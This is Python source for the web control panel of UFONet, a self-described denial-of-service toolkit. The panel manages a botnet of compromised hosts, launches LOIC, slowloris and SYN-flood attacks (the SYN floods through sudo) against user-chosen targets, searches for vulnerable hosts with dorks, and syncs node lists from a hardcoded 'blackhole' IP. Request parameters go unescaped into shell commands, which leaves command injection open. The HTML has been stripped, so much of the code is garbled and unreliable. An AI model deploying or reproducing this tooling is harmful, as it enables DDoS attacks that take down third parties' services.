#!/usr/bin/env python
# -*- coding: utf-8 -*-"
"""
UFONet - Denial of Service Toolkit - 2013/2014/2015/2016/2017/2018 - by psy (epsylon@riseup.net)
You should have received a copy of the GNU General Public License along
with UFONet; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import socket, threading, re, base64, os, time, random
import webbrowser, subprocess, urllib, urllib2, json, sys
from time import gmtime, strftime, strptime
from Crypto.Cipher import AES
from hashlib import sha1, sha256
from urlparse import urlparse
from base64 import b64decode
from decimal import Decimal
from options import UFONetOptions
from main import UFONet
from abductor import Abductor
host = "0.0.0.0"
port = 9999
default_blackhole = '176.28.23.46' # default blackhole
blackhole_sep = "|" # blackhole stream separator
board_msg_sep = "#!#" # board stream separator
grid_msg_sep = "#?#" # grid stream seperator
wargames_msg_sep = "#-#" # wargames stream seperator
crypto_key = "U-NATi0n!" # default encryption/decryption (+moderator board) key
class ClientThread(threading.Thread):
def __init__(self, ip, port, socket):
threading.Thread.__init__(self)
self.ip = ip
self.port = port
self.socket = socket
self.pages = Pages()
def run(self):
req = self.socket.recv(2048)
res = self.pages.get(req)
if res is None:
self.socket.close()
return
out = "HTTP/1.0 %s\r\n" % res["code"]
out += "Content-Type: %s\r\n\r\n" % res["ctype"]
out += "%s" % res["html"]
self.socket.send(out)
self.socket.close()
if "run" in res and len(res["run"]):
subprocess.Popen(res["run"], shell=True)
class Pages():
def file_len(self, fn):
with open(fn) as f:
for i, l in enumerate(f):
pass
return i + 1
def html_army_map(self,target=None):
target_js="total_zombies = "+str( int(self.file_len(self.zombies_file))+int(self.file_len(self.aliens_file))+int(self.file_len(self.droids_file))+int(self.file_len(self.ucavs_file))+int(self.file_len(self.rpcs_file)) )+"\ninitMap()\n\n"
if target is not None:
target_js += "$('#ufomsg').load('/js/ajax.js?doll="+target+"')\n"
return self.pages["/header"] + """
1) This is our 'Space Cantina': DON'T BE A LAMER!!! 2) NO language RESTRICTIONS 3) ABUSING == #HACKBACK (THIS IS NOT KIND OF FAME YOU WANT) 4) CONTENT can be MODIFIED/REMOVED without notice 5) LOVE, DONATIONS and REPORTS -> HERE
"
if device_state == "OFF":
board_panel = ""
else:
with open(self.board_file) as f:
for line in f:
line = line.strip()
self.board_warning += "\n" + " " + line + " " + "\n"
f.close()
self.moderator_text = re.sub("(.{100})", "\\1\n", self.moderator_text, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
l = time.ctime(os.path.getmtime(self.board_file)) # get last modified time
board_panel = "
"""+board_panel+"""
""" + self.pages["/footer"]
def generate_grid(self):
with open(self.grid_file) as f:
for line in f:
line = line.strip()
f.close()
mothership_members = 0 # mothership_members stats bonus
grid_table = "
"""+grid_panel+"""
""" + self.pages["/footer"]
def generate_wargames(self):
with open(self.wargames_file) as f:
for line in f:
line = line.strip()
f.close()
wargames_table = "
CREATION:
TARGET:
DATE:
ETA:
STATUS:
"
for m in self.list_wargames: # list = creation, target, estimated
if wargames_msg_sep in m:
m = m.split(wargames_msg_sep)
wargame_creation = m[0][0:12] # creation date
wargame_creation = ''.join(random.sample(wargame_creation,len(wargame_creation))) # creation date (obfuscation)
wargame_target = m[1][0:12] # target (obfuscation)
wargame_target = ''.join(random.sample(wargame_target,len(wargame_target))) # target (obfuscation)
wargame_estimated = m[2][0:12] # estimated date
wargame_estimated = ''.join(random.sample(wargame_estimated,len(wargame_estimated))) # estimated date (obfuscation)
wargame_state = str("HSvtfBFwQBSms8h/7Ra/tKGNYp7KqiiNeOMPzDmrChJqyBJ+yuRiHpY9H+/LDQ==")[0:12] # state ("ENCRYPTED!")
wargame_state = ''.join(random.sample(wargame_state,len(wargame_state))) # state (obfuscation)
wargame_status = wargame_state # status (obfuscated like state)
wargames_table += "
"
return wargames_table
def html_wargames(self):
l = time.ctime(os.path.getmtime(self.wargames_file)) # get last modified time
now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
wargames_table = self.generate_wargames()
return self.pages["/header"] + """
This feature will allow you to propose/join some real 'wargames'.
- Testing; use the tool and search for possible bugs and new ideas
- Coding; you can try to develop more features
- Promoting; talk about UFONet on the internet, events, hacklabs, etc
- Donating; bitcoin, objects, support, love ;-)
This feature will provide you the biggest file on target.
You can use this before to attack to be more effective.
* Set page to crawl:
""" + self.pages["/footer"]
self.pages["/lib.js"] = """function loadXMLDoc() {
var xmlhttp;
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 ) {
if(xmlhttp.status == 200){
document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
setTimeout("loadXMLDoc()", 3000);
}
}
}
xmlhttp.send();
}
function runCommandX(cmd,params) {
var xmlhttp;
if (window.XMLHttpRequest) {
// code for IE7+, Firefox, Chrome, Opera, Safari
xmlhttp = new XMLHttpRequest();
} else {
// code for IE6, IE5
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
}
xmlhttp.onreadystatechange = function() {
if (xmlhttp.readyState == 4 ) {
if(xmlhttp.status == 200){
if(cmd.indexOf("?")!=-1){
s=cmd.split("?")
cmd=s[0]
params=s[1]
}
document.getElementById("cmdOut").innerHTML = xmlhttp.responseText;
//document.getElementById("cmdOut").scrollIntoView();
newcmd=cmd
if(newcmd=="cmd_list_army"||newcmd=="cmd_view_army"||newcmd=="cmd_list_zombies"||newcmd=="cmd_list_aliens"|| newcmd=="cmd_list_droids"||newcmd=="cmd_list_ucavs"||newcmd=="cmd_list_rpcs"){ //do not refresh listing army
return;
} else {
if(newcmd=="cmd_test_army" || newcmd=="cmd_test_all" || newcmd=="cmd_test_offline" || newcmd=="cmd_test_rpcs" || newcmd=="cmd_attack" || newcmd=="cmd_refresh_blackholes" || newcmd=="cmd_refresh_news" || newcmd=="cmd_refresh_missions" || newcmd=="cmd_sync_grid" || newcmd=="cmd_sync_board" || newcmd=="cmd_sync_wargames" || newcmd=="cmd_send_message_board" || newcmd=="cmd_transfer_grid" || newcmd=="cmd_transfer_wargame" || newcmd=="cmd_decrypt" || newcmd=="cmd_decrypt_moderator_board" || newcmd=="cmd_decrypt_grid" || newcmd=="cmd_decrypt_wargames" || newcmd=="cmd_inspect" || newcmd=="cmd_abduction" || newcmd=="cmd_download_community" || newcmd=="cmd_upload_community" || newcmd=="cmd_attack_me" || newcmd=="cmd_check_tool" || newcmd=="cmd_edit_supply" || newcmd=="cmd_job_remove" || newcmd=="cmd_job_remove_all" || newcmd=="cmd_job_add" || newcmd =="cmd_job_add_all" || newcmd=="cmd_job_cancel" || newcmd=="cmd_job_cancel_all" || newcmd=="cmd_job_filter" || newcmd=="cmd_grid_filter" || newcmd=="cmd_search") newcmd=newcmd+"_update"
//do not refresh if certain text on response is found
if(newcmd.match(/update/) &&
(
xmlhttp.responseText.match(/Botnet updated/) ||
xmlhttp.responseText.match(/Biggest File/) ||
xmlhttp.responseText.match(/Abduction finished/) ||
xmlhttp.responseText.match(/Not any zombie active/) ||
xmlhttp.responseText.match(/Your target looks OFFLINE/) ||
xmlhttp.responseText.match(/Unable to connect to target/) ||
xmlhttp.responseText.match(/Something wrong/) ||
xmlhttp.responseText.match(/Target url not valid/) ||
xmlhttp.responseText.match(/Attack completed/) ||
xmlhttp.responseText.match(/You are updated/) ||
xmlhttp.responseText.match(/For HELP use:/) ||
xmlhttp.responseText.match(/Not any .git repository found/) ||
xmlhttp.responseText.match(/End of /) ||
xmlhttp.responseText.match(/Exiting /) ||
xmlhttp.responseText.match(/Bye/)
)
) return;
setTimeout(function(){runCommandX(newcmd,params)}, 3000);
return;}
}
}
}
if(typeof params != "undefined") cmd=cmd+"?"+params
xmlhttp.open("GET", cmd, true);
xmlhttp.send();
}
"""
self.pages["/requests"] = self.html_requests()
self.pages["/board_profile"] = self.html_board_profile()
self.pages["/grid_profile"] = self.html_grid_profile()
def buildGetParams(self, request):
params = {}
path = re.findall("^GET ([^\s]+)", request)
if path:
path = path[0]
start = path.find("?")
if start != -1:
if path[start+1:start+7] == "zombie":
params['zombie']=path[start+8:]
return params
if path[start+1:start+7] == "target":
params['target']=path[start+8:]
return params
for param in path[start+1:].split("&"):
f = param.split("=")
if len(f) == 2:
var = f[0]
value = f[1]
value = value.replace("+", " ")
value = urllib.unquote(value)
params[var] = value
return params
def save_profile(self,pGet):
# set values for profile configuration from html form to json file
if "profile_token" in pGet.keys():
profile_token = pGet["profile_token"]
else:
profile_token = self.profile_token
if "profile_icon" in pGet.keys():
profile_icon = pGet["profile_icon"]
else:
profile_icon = self.profile_icon
if "profile_nick" in pGet.keys():
profile_nick = pGet["profile_nick"]
else:
profile_nick = self.profile_nick
# set new values on boardcfg json file
with open(self.mothership_boardcfg_file, "w") as f:
json.dump({"profile_token": profile_token, "profile_icon": profile_icon, "profile_nick": profile_nick}, f, indent=4)
def save_grid(self,pGet):
# set values for profile configuration from html form to json file
if "grid_token" in pGet.keys():
grid_token = pGet["grid_token"]
else:
grid_token = self.grid_token
if "grid_contact" in pGet.keys():
grid_contact = pGet["grid_contact"]
else:
grid_contact = self.grid_contact
if "grid_nick" in pGet.keys():
grid_nick = pGet["grid_nick"]
else:
grid_nick = self.grid_nick
# set new values on gridcfg json file
with open(self.mothership_gridcfg_file, "w") as f:
json.dump({"grid_token": grid_token, "grid_contact": grid_contact, "grid_nick": grid_nick}, f, indent=4)
def save_cfg(self,pGet):
# set values for requests configuration from html form to json file
if "rproxy" in pGet.keys():
frm_rproxy = pGet["rproxy"]
else:
frm_rproxy = self.rproxy
if "ruseragent" in pGet.keys():
frm_ruseragent = pGet["ruseragent"]
else:
frm_ruseragent = self.ruseragent
if "rreferer" in pGet.keys():
frm_rreferer = pGet["rreferer"]
else:
frm_rreferer = self.rreferer
if "rhost" in pGet.keys():
frm_rhost = pGet["rhost"]
else:
frm_rhost = self.rhost
if "rxforw" in pGet.keys():
frm_rxforw = pGet["rxforw"]
else:
if "update" in pGet.keys():
frm_rxforw = ""
else:
frm_rxforw = self.rxforw
if "rxclient" in pGet.keys():
frm_rxclient = pGet["rxclient"]
else:
if "update" in pGet.keys():
frm_rxclient = ""
else:
frm_rxclient = self.rxclient
if "rtimeout" in pGet.keys():
frm_rtimeout = pGet["rtimeout"]
else:
frm_rtimeout = self.rtimeout
if "rretries" in pGet.keys():
frm_rretries = pGet["rretries"]
else:
frm_rretries = self.rretries
if "rdelay" in pGet.keys():
frm_rdelay = pGet["rdelay"]
else:
frm_rdelay = self.rdelay
if "threads" in pGet.keys():
frm_threads = pGet["threads"]
else:
frm_threads = self.threads
if "rssl" in pGet.keys():
frm_rssl = pGet["rssl"]
else:
if "update" in pGet.keys():
frm_rssl = ""
else:
frm_rssl = self.rssl
# set new values on webcfg json file
with open(self.mothership_webcfg_file, "w") as f:
json.dump({"rproxy": frm_rproxy, "ruseragent": frm_ruseragent, "rreferer": frm_rreferer, "rhost": frm_rhost, "rxforw": frm_rxforw, "rxclient": frm_rxclient, "rtimeout": frm_rtimeout, "rretries": frm_rretries, "rdelay": frm_rdelay, "threads":frm_threads, "rssl":frm_rssl}, f, indent=4)
def get(self, request):
# set request options of the user
cmd_options = "--proxy='" + self.rproxy + "' --user-agent='" + self.ruseragent + "' --referer='" + self.rreferer + "' --host='" + self.rhost + "' --timeout='" + self.rtimeout + "' --retries='" + self.rretries + "' --delay='" + self.rdelay +"'" + " --threads='"+self.threads+"'"
if self.rxforw == "on":
cmd_options = cmd_options + " --xforw"
if self.rxclient == "on":
cmd_options = cmd_options + " --xclient"
if self.rssl == "on":
cmd_options = cmd_options + " --force-ssl"
cmd_options = cmd_options + " --force-yes" # no raw_input allowed on webgui
runcmd = ""
res = re.findall("^GET ([^\s]+)", request)
if res is None or len(res)==0:
return
pGet = {}
page = res[0]
paramStart = page.find("?")
if paramStart != -1:
page = page[:paramStart]
pGet = self.buildGetParams(request)
if page.startswith("/js/") or page.startswith("/images/") or page.startswith("/maps/") or page.startswith("/markers/"):
if os.path.exists("core/"+page[1:]):
f=open("core/"+page[1:])
self.pages[page]=f.read()
elif page == "/js/ajax.js":
from ajaxmap import AjaxMap
self.pages[page] = AjaxMap().ajax(pGet)
if page == "/cmd_check_tool":
self.pages["/cmd_check_tool"] = "
Waiting for updates results...
"
runcmd = "(python -i ufonet --update |tee /tmp/out) &"
if page == "/cmd_check_tool_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_check_tool_update"] = "
"+f.read()+"
"
if page == "/cmd_list_army":
self.pages["/cmd_list_army"] = "
Total Botnet = "+self.total_botnet+"
UCAVs:
"+self.num_ucavs+"
Aliens:
"+self.num_aliens+"
Droids:
"+self.num_droids+"
Zombies:
"+self.num_zombies+"
XML-RPCs:
"+self.num_rpcs+"
UCAVs:"+self.num_ucavs+"
Last update: "+time.ctime(os.path.getctime(self.ucavs_file))+"
"+'\n'.join(self.list_ucavs)+"
"+'\n'.join(self.ucavs)+"
Aliens:"+self.num_aliens+"
Last update: "+time.ctime(os.path.getctime(self.aliens_file))+"
"+'\n'.join(self.list_aliens)+"
"+'\n'.join(self.aliens)+"
Droids:"+self.num_droids+"
Last update: "+time.ctime(os.path.getctime(self.droids_file))+"
"+'\n'.join(self.list_droids)+"
"+'\n'.join(self.droids)+"
Zombies:"+self.num_zombies+"
Last update: "+time.ctime(os.path.getctime(self.zombies_file))+"
"+'\n'.join(self.list_zombies)+"
"+'\n'.join(self.zombies)+"
XML-RPCs:"+self.num_rpcs+"
Last update: "+time.ctime(os.path.getctime(self.rpcs_file))+"
"+'\n'.join(self.list_rpcs)+"
"+'\n'.join(self.rpcs)+"
"
if page == "/cmd_list_zombies":
self.pages["/cmd_list_zombies"] = "
Total Zombies = "+self.num_zombies+"
Zombies:"+self.num_zombies+"
Last update: "+time.ctime(os.path.getctime(self.zombies_file))+"
"+'\n'.join(self.list_zombies)+"
"+'\n'.join(self.zombies)+"
"
if page == "/cmd_list_aliens":
self.pages["/cmd_list_aliens"] = "
Total Aliens = "+self.num_aliens+"
Aliens:"+self.num_aliens+"
Last update: "+time.ctime(os.path.getctime(self.aliens_file))+"
"+'\n'.join(self.list_aliens)+"
"+'\n'.join(self.aliens)+"
"
if page == "/cmd_list_droids":
self.pages["/cmd_list_droids"] = "
Total Droids = "+self.num_droids+"
Droids:"+self.num_droids+"
Last update: "+time.ctime(os.path.getctime(self.droids_file))+"
"+'\n'.join(self.list_droids)+"
"+'\n'.join(self.droids)+"
"
if page == "/cmd_list_ucavs":
self.pages["/cmd_list_ucavs"] = "
Total UCAVs = "+self.num_ucavs+"
UCAVs:"+self.num_ucavs+"
Last update: "+time.ctime(os.path.getctime(self.ucavs_file))+"
"+'\n'.join(self.list_ucavs)+"
"+'\n'.join(self.ucavs)+"
"
if page == "/cmd_list_rpcs":
self.pages["/cmd_list_rpcs"] = "
Total XML-RPCs = "+self.num_rpcs+"
XML-RPCs:"+self.num_rpcs+"
Last update: "+time.ctime(os.path.getctime(self.rpcs_file))+"
"+'\n'.join(self.list_rpcs)+"
"+'\n'.join(self.rpcs)+"
"
if page == "/cmd_view_army":
if pGet=={}:
self.pages["/cmd_view_army"] = self.html_army_map()
if page == "/cmd_view_attack":
if 'target' in pGet.keys() != None:
self.pages["/cmd_view_attack"] = self.html_army_map(pGet['target'])
if page == "/cmd_test_army":
self.pages["/cmd_test_army"] = "
"
runcmd = "(python -i ufonet --attack-me " + cmd_options + "|tee /tmp/out) &"
if page == "/cmd_attack_me_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_attack_me_update"] = "
"+f.read()+"
"
if page == "/cmd_download_community":
self.pages["/cmd_download_community"] = "
Waiting for downloading results...
"
runcmd = "(python -i ufonet --download-zombies "+ cmd_options + "|tee /tmp/out) &"
if page == "/cmd_download_community_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_download_community_update"] = "
"+f.read()+"
"
if page == "/cmd_upload_community":
self.pages["/cmd_upload_community"] = "
Waiting for uploading results...
"
runcmd = "(python -i ufonet --upload-zombies "+ cmd_options + "|tee /tmp/out) &"
if page == "/cmd_upload_community_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_upload_community_update"] = "
"+f.read()+"
"
if page == "/cmd_test_army_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_test_army_update"] = "
"+f.read()+"
"
if page == "/cmd_test_all_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_test_all_update"] = "
"+f.read()+"
"
if page == "/cmd_test_offline_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_test_offline_update"] = "
"+f.read()+"
"
if page == "/cmd_test_rpcs":
self.pages["/cmd_test_rpcs"] = "
Waiting for XML-RPC testing results...
"
runcmd = "(python -i ufonet --test-rpc " + cmd_options + "|tee /tmp/out) &"
if page == "/cmd_test_rpcs_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_test_rpcs_update"] = "
"+f.read()+"
"
if page == "/cmd_attack":
self.pages["/cmd_attack"] = "
Waiting for attacking results...
"
if pGet["dbstress"]: # Set db stress input point
if pGet["loic"]: # Set LOIC
if pGet["loris"]: # Set LORIS
if pGet["ufosyn"]: # Set UFOSYN (executed as root!)
runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &"
else: # not ufosyn
runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &"
else: # not loris
if pGet["ufosyn"]: # executed as root!
runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &"
else: # not ufosyn
runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loic '"+pGet["loic"]+"' "+ cmd_options + "|tee /tmp/out) &"
else: # not loic
if pGet["loris"]:
if pGet["ufosyn"]: # executed as root!
runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loris '"+pGet["loris"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &"
else: # not ufosyn
runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+ " --loris '"+pGet["loris"]+"' "+ cmd_options + "|tee /tmp/out) &"
else: # not loris
runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --db '"+pGet["dbstress"]+"' "+cmd_options + "|tee /tmp/out) &"
else:# not dbstress
if pGet["loic"]:
if pGet["loris"]:
if pGet["ufosyn"]: # executed as root!
runcmd = "(sudo python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+ " --ufosyn '"+pGet["ufosyn"]+"' "+cmd_options + "|tee /tmp/out) &"
else: # not ufosyn
runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ " --loris '"+pGet["loris"]+"' "+cmd_options + "|tee /tmp/out) &"
else: # not loris
runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' --loic '"+pGet["loic"]+"' "+ cmd_options + "|tee /tmp/out) &"
else: # not loic (normal attack)
runcmd = "(python -i ufonet -a '"+pGet["target"]+"' -b '"+pGet["path"]+"' -r '"+pGet["rounds"]+"' "+cmd_options + "|tee /tmp/out) &"
if page == "/cmd_attack_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_attack_update"] = "
"+f.read()+"
"
if page == "/cmd_inspect":
self.pages["/cmd_inspect"] = "
Waiting for inspecting results...
"
target = pGet["target"]
target=urllib.unquote(target).decode('utf8')
runcmd = "(python -i ufonet -i '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
if page == "/cmd_inspect_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_inspect_update"] = "
"+f.read()+"
"
if page == "/cmd_abduction":
self.pages["/cmd_abduction"] = "
Waiting for abduction results...
"
target = pGet["target"]
target=urllib.unquote(target).decode('utf8')
runcmd = "(python -i ufonet -x '"+target+"' "+ cmd_options + "|tee /tmp/out) &"
if page == "/cmd_abduction_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_abduction_update"] = "
"+f.read()+"
"
if page == "/cmd_search":
self.pages["/cmd_search"] = "
Waiting for search engines results...
"
if pGet["dork_list"] == "on": # search using dork list (file: dorks.txt)
if pGet["all_engines"] == "on": # search using all search engines
runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --sa " + cmd_options + "|tee /tmp/out) &"
else: # search using a search engine
runcmd = "(python -i ufonet --sd 'botnet/dorks.txt' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
else: # search using a pattern
if pGet["autosearch"] == "on": # search using auto-search mod
runcmd = "(python -i ufonet --auto-search " + cmd_options + "|tee /tmp/out) &"
else:
if pGet["all_engines"] == "on": # search using all search engines
runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --sa " + cmd_options + "|tee /tmp/out) &"
else: # search using a search engine
runcmd = "(python -i ufonet -s '"+pGet["dork"]+"' --se '"+pGet["s_engine"]+"' " + cmd_options + "|tee /tmp/out) &"
if page == "/cmd_search_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_search_update"] = "
"+f.read()+"
"
if page == "/cmd_refresh_blackholes":
self.pages["/cmd_refresh_blackholes"] = "
Waiting for 'blackhole' reply...
"
blackhole_ip = pGet["blackholes_source"]
blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
try:
blackholes = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/nodes.dat').read()
f = open(self.blackholes, "w") # write updates to nodes.dat
f.write(str(blackholes))
f.close()
self.blackholes_text = blackholes
except:
blackholes = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
end_mark = "\n[Mothership/Info] End of blackholes list (nodes.dat). Refreshing..."
f = open("/tmp/out", "w")
f.write(str(blackholes))
f.write(end_mark)
f.close()
if page == "/cmd_refresh_blackholes_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_refresh_blackholes_update"] = "
"+f.read()+"
"
if page == "/cmd_refresh_news":
self.pages["/cmd_refresh_news"] = "
Waiting for 'blackhole' reply...
"
blackhole_ip = pGet["news_source"]
blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
try:
news = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/news.txt').read()
f = open(self.news, "w") # write updates to news.txt
f.write(str(news))
f.close()
self.news_text = news
except:
news = "[Mothership/Error] Something wrong downloading. Try it again or using another source....\n"
end_mark = "\n[Mothership/Info] End of news feed. Refreshing..."
f = open("/tmp/out", "w")
f.write(str(news))
f.write(end_mark)
f.close()
if page == "/cmd_refresh_news_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_refresh_news_update"] = "
"+f.read()+"
"
if page == "/cmd_sync_wargames":
self.pages["/cmd_sync_wargames"] = "
Waiting for 'blackhole' reply...
"
blackhole_ip = pGet["wargames_source"]
blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
try:
wargames = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read()
f = open(self.wargames_file, "w") # write updates to wargames.txt
f.write(str(wargames))
f.close()
self.wargames_text = wargames
except:
wargames = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
end_mark = "\n[Mothership/Info] End of transmission. Refreshing wargames..."
f = open("/tmp/out", "w")
f.write(str(wargames))
f.write(end_mark)
f.close()
if page == "/cmd_sync_wargames_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
stream = f.read()
stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
self.pages["/cmd_sync_wargames_update"] = "
"+stream+"
"
if page == "/cmd_refresh_missions":
self.pages["/cmd_refresh_missions"] = "
Waiting for 'blackhole' reply...
"
blackhole_ip = pGet["missions_source"]
blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
try:
missions = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/missions.txt').read()
f = open(self.missions, "w") # write updates to missions.txt
f.write(str(missions))
f.close()
self.missions_text = missions
except:
missions = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
end_mark = "\n[Mothership/Info] End of missions feed. Refreshing..."
f = open("/tmp/out", "w")
f.write(str(missions))
f.write(end_mark)
f.close()
if page == "/cmd_refresh_missions_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_refresh_missions_update"] = "
"+f.read()+"
"
if page == "/cmd_sync_grid":
self.pages["/cmd_sync_grid"] = "
Waiting for 'blackhole' reply...
"
blackhole_ip = pGet["grid_source"]
blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
try:
grid = urllib2.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read()
f = open(self.grid_file, "w") # write updates to grid.txt
f.write(str(grid))
f.close()
self.grid_text = grid
except:
grid = "[Mothership/Error] Something wrong downloading. Try it again or using another source...\n"
end_mark = "\n[Mothership/Info] End of transmission. Refreshing grid..."
f = open("/tmp/out", "w")
f.write(str(grid))
f.write(end_mark)
f.close()
if page == "/cmd_sync_grid_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
stream = f.read()
stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
self.pages["/cmd_sync_grid_update"] = "
"+stream+"
"
if page == "/cmd_job_remove":
self.pages["/cmd_job_remove"] = "
Removing wargame from your list...
"
try:
job_id = pGet["id"]
except:
job_id = ""
if job_id is not "":
self.list_wargames.reverse()
try:
job_task = self.list_wargames[(int(job_id)-1)]
f = open(self.wargames_file,"r")
ls = f.readlines()
f.close()
f = open(self.wargames_file,"w")
for l in ls:
if str(l) != str(job_task):
f.write(l)
f.close()
except:
pass
if page == "/cmd_job_remove_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_job_remove_update"] = "
"+f.read()+"
"
if page == "/cmd_job_remove_all":
self.pages["/cmd_job_remove_all"] = "
Purging ALL -CLOSED- wargames from your list...
"
try:
key_params = pGet["key"]
sep = ","
key = key_params.rsplit(sep, 1)[0]
except:
key = ""
if key is not "":
try:
self.list_wargames.reverse()
now = strftime("%d-%m-%Y %H:%M:%S", gmtime())
now = strptime(now, "%d-%m-%Y %H:%M:%S")
f = open(self.wargames_file,"r")
ls = f.readlines()
f.close()
f = open(self.wargames_file,"w")
sep = "#-#"
for l in ls:
job_estimated = l.rsplit(sep, 1)[1]
self.decrypt(key, job_estimated)
if self.decryptedtext:
job_estimated = self.decryptedtext
else:
job_estimated = now
self.decryptedtext = ""
job_estimated = strptime(job_estimated, "%d-%m-%Y %H:%M:%S")
if (now >= job_estimated) == False: # -ONGOING-
f.write(l)
f.close()
except:
pass
if page == "/cmd_job_remove_all_update":
if not os.path.exists('/tmp/out'):
open('/tmp/out', 'w').close()
with open('/tmp/out', 'r') as f:
self.pages["/cmd_job_remove_all_update"] = "
"+f.read()+"
"
if page == "/cmd_edit_supply":
self.pages["/cmd_edit_supply"] = "
"
if page == "/cmd_transfer_grid":
self.pages["/cmd_transfer_grid"] = "
Waiting for 'blackhole' connection...
"
blackhole_ip = pGet["grid_source"]
blackhole_ip = urllib.unquote(blackhole_ip).decode('utf8')
try:
grid_key = pGet["grid_key"]
except:
grid_key = ""
end_mark = "\n[Mothership/Info] End of transmission. Refreshing grid..."
